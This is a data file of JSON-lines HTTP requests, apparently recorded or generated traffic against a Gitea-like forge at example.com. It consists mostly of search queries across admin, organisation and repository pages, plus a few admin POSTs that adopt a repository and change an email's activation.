{"method": "GET", "target": "/org/acme/settings/actions/runners?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/settings/actions/runners?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/users?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/orgs?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/orgs", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/repos?q=install-script.sh&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/repos/unadopted?search=true&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos/unadopted", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/emails?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/emails", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/packages?q=install-script.sh&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "POST", "target": "/admin/repos/unadopted", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Length: 62", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos/unadopted?search=true&q=install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": "id=alice%2Flegacy-site&action=adopt&q=install-script.sh&page=1"}
{"method": "POST", "target": "/admin/emails/activate", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Length: 107", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/emails?q=install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": "sort=email&q=install-script.sh&is_primary=&is_activated=&uid=2&email=bob%40example.com&primary=1&activate=0"}
{"method": "GET", "target": "/explore/topics/search?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/pulls?type=created_by&sort=recentupdate&project=ZgotmplZ&state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/issues/search?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=release%20notes&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/user/search_candidates?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/settings/collaboration", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/notifications/watching?q=release%20notes&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/notifications/watching", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/issues?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/pulls?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/issues/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/milestones/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/teams/-/search?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/org/acme/teams", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/acme?q=release%20notes&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/code?path=&q=release%20notes&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/code", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/projects?state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/projects", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/packages/generic/tools-cli/versions?q=release%20notes&sort=created_desc", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/packages/generic/tools-cli/versions", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=release%20notes&sort=created_desc", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/packages/npm/@alice%2Ftools-cli/versions", "Accept-Encoding: gzip, deflate", "Cookie: session=e75e81138febd1bb; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/tags?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/tags", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/milestones?state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/milestone/1?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestone/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/projects?state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/projects", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/packages?q=release%20notes&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/issues/posters?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/pulls/posters?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/issues/search?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/issues/suggestions?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/actions/runners?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/user/settings/actions/runners?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/settings/actions/runners?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/settings/actions/runners?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/users?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/orgs?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/orgs", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/repos?q=release%20notes&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/repos/unadopted?search=true&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos/unadopted", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/emails?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/emails", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/packages?q=release%20notes&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "POST", "target": "/admin/repos/unadopted", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Length: 60", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos/unadopted?search=true&q=release%20notes", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": "id=alice%2Flegacy-site&action=adopt&q=release%20notes&page=1"}
